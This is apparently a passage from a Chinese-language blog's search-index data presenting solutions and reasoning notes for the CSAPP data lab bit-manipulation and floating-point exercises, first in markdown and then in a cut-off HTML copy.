(x>>16)+x;\t//every 32 bits; record in the low 8 bits;\n\treturn x&0xFF;\n}\n```\n\n#### 思路\n\n- 先构造从最高的1到最低位均为1的二进制，然后类似bitCount\n\n### float_neg\n\n```c\n/* \n * float_neg - Return bit-level equivalent of expression -f for\n * floating point argument f.\n * Both the argument and result are passed as unsigned int's, but\n * they are to be interpreted as the bit-level representations of\n * single-precision floating point values.\n * When argument is NaN, return argument.\n * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while\n * Max ops: 10\n * Rating: 2\n */\nunsigned float_neg(unsigned uf) {\n\tunsigned t = uf&0x7FFFFFFF;\n\tif(t^0x7F800000 && (t>>23)+1>>8)\n\t\treturn uf;\n\telse \n\t\treturn uf^0x80000000;\n}\n```\n\n#### 思路\n\n- 判别是否是NaN。先判断尾数是否全0，然后用`(t>>23)+1>>8`判断exp是否全1\n\n### float_i2f\n\n```c\n/* \n * float_i2f - Return bit-level equivalent of expression (float) x\n * Result is returned as unsigned int, but\n * it is to be interpreted as the bit-level representation of a\n * single-precision floating point values.\n * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while\n * Max ops: 30\n * Rating: 4\n */\nunsigned float_i2f(int x) {\n unsigned shiftLeft=0;\n unsigned afterShift, tmp, flag;\n unsigned absX=x;\n unsigned sign=0;\n //special case\n if (x==0) return 0;\n //if x < 0, sign = 1000...,abs_x = -x\n if (x<0)\n {\n sign=0x80000000;\n absX=-x;\n }\n afterShift=absX;\n //count shift_left and after_shift\n while (1)\n {\n tmp=afterShift;\n afterShift<<=1;\n shiftLeft++;\n if (tmp & 0x80000000) break;\n }\n if ((afterShift & 0x01ff)>0x0100)\n flag=1;\n else if ((afterShift & 0x03ff)==0x0300)\n flag=1;\n else\n flag=0;\n \n return sign + (afterShift>>9) + ((159-shiftLeft)<<23) + flag;\n}\n//from http://www.cnblogs.com/tenlee/p/4951639.html\n```\n\n#### 思路\n\n- 分情况处理0、负数、正数\n\n- 要处理舍人\n\n > - 向接近的舍入\n > - 如果处于中间，向偶数舍入\n\n- 舍入时，如果尾数加一，exp有可能需要进位，这时候直接加一效果一样，可以导致exp进位，不需要特殊处理。如果exp等于0xFE，那么进位就变成了inf，也是合法的\n\n### float_twict\n\n```c\n/* \n * float_twice - Return bit-level equivalent of expression 2*f for\n * floating point argument f.\n * Both the argument and result are passed as unsigned int's, but\n * they are to be interpreted as the bit-level representation of\n * single-precision floating point values.\n * When argument is NaN, return argument\n * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while\n * Max ops: 30\n * Rating: 4\n */\nunsigned float_twice(unsigned uf) {\n\tunsigned t = uf&0x7FFFFFFF;\n\tunsigned temp = t&0x7F800000;\n\tunsigned temp2 = uf&0xFF800000;\n\tint expFull = !(temp^0x7F800000);\n\tif(t^0x7F800000 && expFull)\n\t\treturn uf;\n\tif(expFull){\n\t\treturn temp2;\n\t}\n\tif(!(t&0x7F800000)){\n\t\tunsigned k = (uf&0x7FFFFF);\n\t\treturn temp2+(k<<1);\n\t}\n\treturn (temp>>23)+1<<23 | uf&0x807FFFFF;\n}\n```\n\n#### 思路\n\n- 分情况处理三种IEEE754的情况\n- 需要注意exp全0时，乘以二就是尾数乘以二，如果发生进位需要exp进位，不需要特殊处理（第三个if），因为进位直接导致exp加一，这就足够了\n\n","content":"<h1 id=\"CSAPP-data-Lab\"><a href=\"#CSAPP-data-Lab\" class=\"headerlink\" title=\"CSAPP data Lab\"></a>CSAPP data Lab</h1><blockquote>\n<p>注意，本文代码出于节省括号避免繁杂的考虑，对运算符优先级利用得比较充分，比如 1>>n+1 等价于 1>>(n+1)，所以代码里写了1>>n+1。</p>\n</blockquote>\n<h3 id=\"bitAnd\"><a href=\"#bitAnd\" class=\"headerlink\" title=\"bitAnd\"></a>bitAnd</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * bitAnd - x&y using only ~ and | </span></span><br><span class=\"line\"><span class=\"comment\"> * Example: bitAnd(6, 5) = 4</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ~ |</span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 8</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 1</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">bitAnd</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> ~(~x|~y);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路\"><a href=\"#思路\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>德摩根定律</li>\n</ul>\n<h3 id=\"getByte\"><a href=\"#getByte\" class=\"headerlink\" title=\"getByte\"></a>getByte</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * getByte - Extract byte n from word x</span></span><br><span class=\"line\"><span class=\"comment\"> * Bytes numbered from 0 (LSB) to 3 (MSB)</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: getByte(0x12345678,1) = 0x56</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 6</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 2</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">getByte</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> n)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> bias = n<<<span class=\"number\">3</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (x>>bias)&<span class=\"number\">0xFF</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-1\"><a href=\"#思路-1\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>移位到最低的1byte然后用0xFF提取</li>\n</ul>\n<h3 id=\"logicalShift\"><a href=\"#logicalShift\" class=\"headerlink\" title=\"logicalShift\"></a>logicalShift</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * logicalShift - shift x to the right by n, using a logical shift</span></span><br><span class=\"line\"><span class=\"comment\">\ti</span></span><br><span class=\"line\"><span class=\"comment\"> * Can assume that 0 <= n <= 31</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: logicalShift(0x87654321,4) = 0x08765432</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 20</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 3 </span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">logicalShift</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> n)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (<span class=\"number\">1</span><<<span class=\"number\">32</span>+~n<<<span class=\"number\">1</span>)+~<span class=\"number\">0</span> & (x>>n);</span><br><span class=\"line\"> <span class=\"comment\">//equal to ((1<<31-n<<1)-1)&(x>>n);</span></span><br><span class=\"line\"> <span class=\"comment\">//负号优先级高于移位</span></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-2\"><a href=\"#思路-2\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li><p>因为不能用<code>-</code>，所以用取反加一代替取负</p>\n</li>\n<li><p>构造低<code>32-n</code>bit的1来提取移位后的数值</p>\n</li>\n<li><p>因为移位量不能小于0或大于等于32，所以对于n可能是0而导致移位量是32的情况，先移位31位，再移位1位</p>\n<blockquote>\n<p>小技巧，如果n移位k，k$\\in$[0, 32]，则可以<code>n>>(k-!!k)>>!!k</code></p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"bitCount\"><a href=\"#bitCount\" class=\"headerlink\" title=\"bitCount\"></a>bitCount</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * bitCount - returns count of number of 1's in word</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: bitCount(5) = 2, bitCount(7) = 3</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 40</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 4</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">bitCount</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark1 = <span class=\"number\">0x55</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark2 = <span class=\"number\">0x33</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark3 = <span class=\"number\">0x0F</span>;</span><br><span class=\"line\">\tmark1 |= mark1<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark1 |= mark1<<<span class=\"number\">16</span>;</span><br><span class=\"line\">\tmark2 |= mark2<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark2 |= mark2<<<span class=\"number\">16</span>;</span><br><span class=\"line\">\tmark3 |= mark3<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark3 |= mark3<<<span class=\"number\">16</span>;</span><br><span class=\"line\"></span><br><span class=\"line\">\tx = (x>><span class=\"number\">1</span>&mark1)+(x&mark1);\t<span class=\"comment\">//every two bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">2</span>&mark2)+(x&mark2);\t<span class=\"comment\">//every four bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">4</span>&mark3)+(x&mark3);\t<span class=\"comment\">//every eight bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">8</span>)+x;\t<span class=\"comment\">//every 16 bits; record in the low 8 bits;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">16</span>)+x;\t<span class=\"comment\">//every 32 bits; record in the low 8 bits;</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x&<span class=\"number\">0xFF</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-3\"><a href=\"#思路-3\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>构造0x55555555，提取每两位中的low bit。通过移位及0x55555555，提取每两位中的高位。然后相加，使得结果中，每两位的二进制值就是该两位的bit数目</li>\n<li>同样的思路，提取每四位的low bit、high bit，然后相加</li>\n<li>因为32==100000(二级制)，也就是只需要5位就可以记录有多少bit数，所以不需要每次都构造常数屏蔽高位的值，直接移位相加然后取低8bit就可以得到最终结果</li>\n</ul>\n<h3 id=\"bang\"><a href=\"#bang\" class=\"headerlink\" title=\"bang\"></a>bang</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * bang - Compute !x without using !</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: bang(3) = 0, bang(0) = 1</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 12</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 4 </span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">bang</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\">\tx |= x>><span class=\"number\">1</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">2</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">4</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">8</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">16</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> ~x&<span class=\"number\">0x1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-4\"><a href=\"#思路-4\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>如果非0，位模式从最高位的1到最低位都填充为1，</li>\n<li>如果为0，则位模式还是保持全0</li>\n</ul>\n<h3 id=\"tmin\"><a href=\"#tmin\" class=\"headerlink\" title=\"tmin\"></a>tmin</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * tmin - return minimum two's complement integer </span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 4</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 1</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">tmin</span><span class=\"params\">(<span class=\"keyword\">void</span>)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> <span class=\"number\">1</span><<<span class=\"number\">31</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h3 id=\"fitBits\"><a href=\"#fitBits\" class=\"headerlink\" title=\"fitBits\"></a>fitBits</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * fitsBits - return 1 if x can be represented as an </span></span><br><span class=\"line\"><span class=\"comment\"> * n-bit, two's complement integer.</span></span><br><span class=\"line\"><span class=\"comment\"> * 1 <= n <= 32</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: fitsBits(5,3) = 0, fitsBits(-4,3) = 1</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 15</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 2</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">fitsBits</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> n)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !(x>>n+~<span class=\"number\">0</span>)|!((x>>n+~<span class=\"number\">0</span>)+<span class=\"number\">1</span>);</span><br><span class=\"line\"> <span class=\"comment\">//equal to !(x>>n-1) | !((x>>n-1)+1)</span></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-5\"><a href=\"#思路-5\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>算术移n-1位，如果是负数，且可以用n bits的补码表示，则得到-1。如果是正数，则得到0。</li>\n</ul>\n<h3 id=\"divpwr2\"><a href=\"#divpwr2\" class=\"headerlink\" title=\"divpwr2\"></a>divpwr2</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * divpwr2 - Compute x/(2^n), for 0 <= n <= 30</span></span><br><span class=\"line\"><span class=\"comment\"> * Round toward zero</span></span><br><span class=\"line\"><span class=\"comment\"> * Examples: divpwr2(15,1) = 7, divpwr2(-33,4) = -2</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 15</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 2</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">divpwr2</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> n)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = x>><span class=\"number\">31</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (x+(t&<span class=\"number\">1</span><<n)+(~(t&<span class=\"number\">1</span>)+<span class=\"number\">1</span>))>>n;</span><br><span class=\"line\"> <span class=\"comment\">//equal to (x+(t&1<<n)-(t&1))>>n;</span></span><br><span class=\"line\"> <span class=\"comment\">//note that & 的优先级低于<<</span></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-6\"><a href=\"#思路-6\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>直接移位是round down，无论是负数还是正数</li>\n<li>所以要实现round to zero , C表达式为<code>x<0 ? x+(pow(2,n)-1)>>n : x>>n</code></li>\n</ul>\n<h3 id=\"negate\"><a href=\"#negate\" class=\"headerlink\" title=\"negate\"></a>negate</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * negate - return -x </span></span><br><span class=\"line\"><span class=\"comment\"> * Example: negate(1) = -1.</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 5</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 2</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">negate</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> ~x+<span class=\"number\">1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-7\"><a href=\"#思路-7\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>直接取反再加1</li>\n</ul>\n<h3 id=\"isPositive\"><a href=\"#isPositive\" class=\"headerlink\" title=\"isPositive\"></a>isPositive</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * isPositive - return 1 if x > 0, return 0 otherwise </span></span><br><span class=\"line\"><span class=\"comment\"> * Example: isPositive(-1) = 0.</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 8</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 3</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">isPositive</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> ~(x>><span class=\"number\">31</span>)&!!x;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-8\"><a href=\"#思路-8\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>符号位判断，并且非0</li>\n</ul>\n<h3 id=\"isLessOrEqual\"><a href=\"#isLessOrEqual\" class=\"headerlink\" title=\"isLessOrEqual\"></a>isLessOrEqual</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/* </span></span><br><span class=\"line\"><span class=\"comment\"> * isLessOrEqual - if x <= y then return 1, else return 0 </span></span><br><span class=\"line\"><span class=\"comment\"> * Example: isLessOrEqual(4,5) = 1.</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 24</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 3</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">isLessOrEqual</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !!(x>><span class=\"number\">31</span>&~(y>><span class=\"number\">31</span>)) | !(~(x>><span class=\"number\">31</span>)&(y>><span class=\"number\">31</span>))&(x+~y+<span class=\"number\">1</span>>><span class=\"number\">31</span>) | !(x^y);</span><br><span class=\"line\">\t<span class=\"comment\">//equal to !!(x>>31&~(y>>31)) | !(~(x>>31)&(y>>31))&(x-y>>31) | !(x^y)</span></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-9\"><a href=\"#思路-9\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li><code>x<0&&y>0 | !(x>0&&y<0)&&(x-y>0) | x==y</code></li>\n</ul>\n<h3 id=\"ilog2\"><a href=\"#ilog2\" class=\"headerlink\" title=\"ilog2\"></a>ilog2</h3><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br><span class=\"line\">32</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * ilog2 - return floor(log base 2 of x), where x > 0</span></span><br><span class=\"line\"><span class=\"comment\"> * Example: ilog2(16) = 4</span></span><br><span class=\"line\"><span class=\"comment\"> * Legal ops: ! ~ & ^ | + << >></span></span><br><span class=\"line\"><span class=\"comment\"> * Max ops: 90</span></span><br><span class=\"line\"><span class=\"comment\"> * Rating: 4</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">ilog2</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span> </span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark1 = <span class=\"number\">0x55</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark2 = <span class=\"number\">0x33</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mark3 = <span class=\"number\">0x0F</span>;</span><br><span class=\"line\">\tmark1 |= mark1<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark1 |= mark1<<<span class=\"number\">16</span>;</span><br><span class=\"line\">\tmark2 |= mark2<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark2 |= mark2<<<span class=\"number\">16</span>;</span><br><span class=\"line\">\tmark3 |= mark3<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tmark3 |= mark3<<<span class=\"number\">16</span>;</span><br><span class=\"line\"></span><br><span class=\"line\">\tx |= x>><span class=\"number\">1</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">2</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">4</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">8</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">16</span>;</span><br><span class=\"line\">\tx >>= <span class=\"number\">1</span>;</span><br><span class=\"line\"></span><br><span class=\"line\">\tx = (x>><span class=\"number\">1</span>&mark1)+(x&mark1);\t<span class=\"comment\">//every two bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">2</span>&mark2)+(x&mark2);\t<span class=\"comment\">//every four bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">4</span>&mark3)+(x&mark3);\t<span class=\"comment\">//every eight bits; clear record;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">8</span>)+x;\t<span class=\"comment\">//every 16 bits; record in the low 8 bits;</span></span><br><span class=\"line\">\tx = (x>><span class=\"number\">16</span>)+x;\t<span class=\"comment\">//every 32 bits; record in the low 8 bits;</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x&<span class=\"number\">0xFF</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h4 id=\"思路-10\"><a href=\"#思路-10\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>先构造从最高的1到最低位均为1的二进制，然后类似bitCount</li>\n</ul>\n<h3 id=\"float-neg\"><a href=\"#float-neg\" 